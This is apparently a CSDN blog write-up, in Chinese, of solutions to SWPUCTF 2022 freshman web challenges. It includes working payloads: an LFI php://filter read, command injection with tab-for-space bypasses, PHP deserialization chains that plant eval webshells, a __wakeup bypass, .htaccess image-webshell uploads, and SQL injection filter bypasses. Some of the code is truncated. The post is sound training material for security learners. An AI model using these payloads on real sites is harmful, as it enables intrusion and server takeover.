😋大家好,我是YAy_17,是一枚爱好网安的小白。 本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。⭐️此后如竟没有炬火,我便是唯一的光。⭐️
目录
[SWPUCTF 2022 新生赛]webdog1__start
[SWPUCTF 2022 新生赛]1z_unserialize
[SWPUCTF 2022 新生赛]ez_ez_unserialize
[SWPUCTF 2022 新生赛]ez_ez_php
substr()函数:substr(string,start,length)
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
?file=php://filter/read=convert.base64-encode/resource=flag.php
根据回显内容进行base64解码,发现真正的flag在/flag,修改payload即可,将回显内容进行base64解码;得到flag;
[SWPUCTF 2022 新生赛]ez_rce
源码什么都没有,抓个包看一下:发现还是什么都没有;robots.txt文件看一下吧:
访问目标文件:发现
拿工具测试一下就好:
查找flag位置的时候,在根目录下面并没有发现flag,而是在/nss/ctf/flag/flag中:
[SWPUCTF 2022 新生赛]numgame
发现还是看不了源代码,还是抓包看看什么回显:在相应包中发现了js文件:
访问一下看看,文件名有点东西:
在文件内容的最后,发现base64编码的类似flag的东西,base64解码:
首先看到的就是在正则过滤中,没有过滤大小写,因此我们可以通过大写来绕过;其次就是类名加上“::”再加上函数名来访问类中的函数;
http://xxxxx/NsScTf.php?p=Nss2::Ctf //这里要先写Nss::Ctf 回显提示我们类名是Nss2
[SWPUCTF 2022 新生赛]奇妙的MD5
结合题目是有关于md5的,同时界面提示我们:
ffif...?ffifdyop MD5后=='or'6...填上试试先:
过了,看看源码,发现存在着注释:
数组绕过即可;
继续数组绕过即可;
[SWPUCTF 2022 新生赛]xff
抓包修改一下数据包的字段:
[SWPUCTF 2022 新生赛]webdog1__start
源码看一下,抓包再看一下:
这里是传递一个参数为web,web的值经过md5加密之后还是等于(弱类型)web的原值:(0e215962017这个值加密之后还是0e开头)
出现了很多的链接,但是除了第一个链接之外,其他的都404,但是第一个链接打开之后只是一篇文章而已,也不是flag所在的地方啊;抓包看看再:
发现相应包中出现了提示:顺着提示往下做:
18){ die("This is too long."); } else{ eval($get); } }else { die("nonono"); }}?>
strstr()函数:匹配空格是否在变量get中
str_ireplace("flag", " ", $get);将变量中的flag替换为空格;
所以system("ls%09/");空格用%09替换;system("cat%09/f*");
[SWPUCTF 2022 新生赛]1z_unserialize
lt; $a($this->lly); }}unserialize($_POST['nss']);highlight_file(__FILE__);?>
看到这里存在着$a($this->lly);便能想到eval($_POST[_]);但是本题目是php5的环境,在此环境下eval不是函数而是一种语法结构;这里我让 public $lt = 'assert'; public $lly = 'eval($_POST[x]);';再进行序列化便可以得到目的:
[SWPUCTF 2022 新生赛]ez_ez_unserialize
x = $x; } function __wakeup() { if ($this->x !== __FILE__) { $this->x = __FILE__; } } function __destruct() { highlight_file($this->x); //flag is in fllllllag.php }}if (isset($_REQUEST['x'])) { @unserialize($_REQUEST['x']);} else { highlight_file(__FILE__);}
考察wakeup函数的绕过:只要序列化的中的成员数大于实际成员数,即可绕过
x = $x; } function __wakeup() { if($this->x !== __FILE__){ $this->x = __FILE__; } } function __destruct() { highlight_file($this->x); //flag is in fllllllag.php }}echo serialize(new X("fllllllag.php"));
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}即可绕过wakeup函数;
[SWPUCTF 2022 新生赛]Ez_upload
该题目在上传文件的时候,发现需要更改MIME类型为:image/jpeg才行,其他都不行,同时文件名的后缀中不允许带有ph;那么就不能上传php3、pht等;尝试.htaccess文件的上传,发现上传成功;思路就有了,先上传.htaccess文件,再将图片马上传,将图片马解析为php即可;
flag在phpinfo中;
999999999){ echo ":D"; $_SESSION['L1'] = 1; }else{ echo ":C"; } } if(isset($_GET['str'])){ $str = preg_replace('/NSSCTF/',"",$_GET['str']); if($str === "NSSCTF"){ echo "wow"; $_SESSION['L2'] = 1; }else{ echo $str; } } if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){ if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){ echo "Nice!"; if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){ if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){ echo "yoxi!"; $_SESSION['L3'] = 1; }else{ echo "X("; } } }else{ echo "G"; echo $_POST['md5_1']."\n".$_POST['md5_2']; } } if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){ include('flag.php'); echo $flag; }?>
L1 L2 L3全部存在,即可输出flag;三个条件:
- GET方式传递参数num,num的长度不超过3并且num的值必须大于999999999,可以用科学计数法9e9;
- GET方式传递参数str,str的值会经过preg_replace()函数,将NSSCTF替换为空,可以参数双写绕过;
- md5弱类型绕过即可
[SWPUCTF 2022 新生赛]js_sign
发现无论是输入什么都是弹窗fuck off!! 查看网页源代码:
发现在当前目录下,存在着main.js文件,访问该文件:
btoa()函数是js中的base64编码方法,等号后面便是一串经过base64编码的字符串,我们将其解码看下结果:
发现是敲击码;寻找在线解码平台将flag的值进行解码,提供如下的解码平台:
解码后的结果为:
最终的结果是NSSCTF{youfindflagbytapcode}
[SWPUCTF 2022 新生赛]ez_sql
相对安全的方式传参->POST;参数为nss;
POST方式传递参数值为1试试:
判断sql注入的类型:
字符型注入:接下来在判断列数的时候,发现过滤了空格和or,空格用替换,or双写绕过即可;
同时发现union也被过滤,同样还是使用双写便可以绕过:
接下来就是查数据库,表名、列名、flag:
最终发现flag在secret中:
[SWPUCTF 2022 新生赛]funny_web
用户名是NSS;接下来又提示密码是招新群某个人的qq账号;
成功登录之后:
intval()函数:用于获取变量的整数值;所以我们可以传参一个小数如12345.5即可
[SWPUCTF 2022 新生赛]ez_1zpop
impo = new dxg; } function __wakeup(){ $this->impo = new dxg; return $this->impo->fmm(); } function __toString(){ if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) return $this->impo->fmm(); } function __destruct(){ echo $this; }}class fin{ public $a; public $url = 'https://www.ctfer.vip'; public $title; function fmm(){ $b = $this->a; $b($this->title); }if(isset($_GET['NSS'])) { $Data = unserialize($_GET['NSS']);}else{ highlight_file(__file__);}
- GET方式传递参数NSS,反序列化NSS
- 在类fin中存在着fmm方法,该方法可以执行任意命令;
- 类lt中,存在魔术方法tostring,该方法时可以执行fmm方法的;但是需要满足md5弱类型检测;同时变量impo的值需要是fin类;
- 因此我们还要让impo变量的值为fin类,同时需要绕过wakeup函数;
$a = new lt();$a->impo=new fin();$a->md51='s878926199a';$a->md52='s155964671a';$a->impo->a='assert';$a->impo->title='eval($_POST[x]);';echo serialize($a);
[SWPUCTF 2022 新生赛]file_master
自己没学明白,在做这个题目的时候,忽然想到了phar反序列化???并不是反序列化的题目;
上传文件的时候,发现之后上传jpeg :
那么就上传“jpeg”文件吧:
提示文件头无效!加上GIF89a:
提示图像的宽和高必须小于20:
#去掉文件头GIF89a加上下面两句:#define height 1#define width 1
发现就可以上传成功了,接下来写一句话木马上传:
发现被检测了,去掉php就没事,那就证明可能是正则匹配了php,改用短标签:
上传成功,到这里就已经打通了(根目录下面存在flag):
上传成功直接访问对应上传的路径即可!
来源地址:https://blog.csdn.net/weixin_44770698/article/details/128708762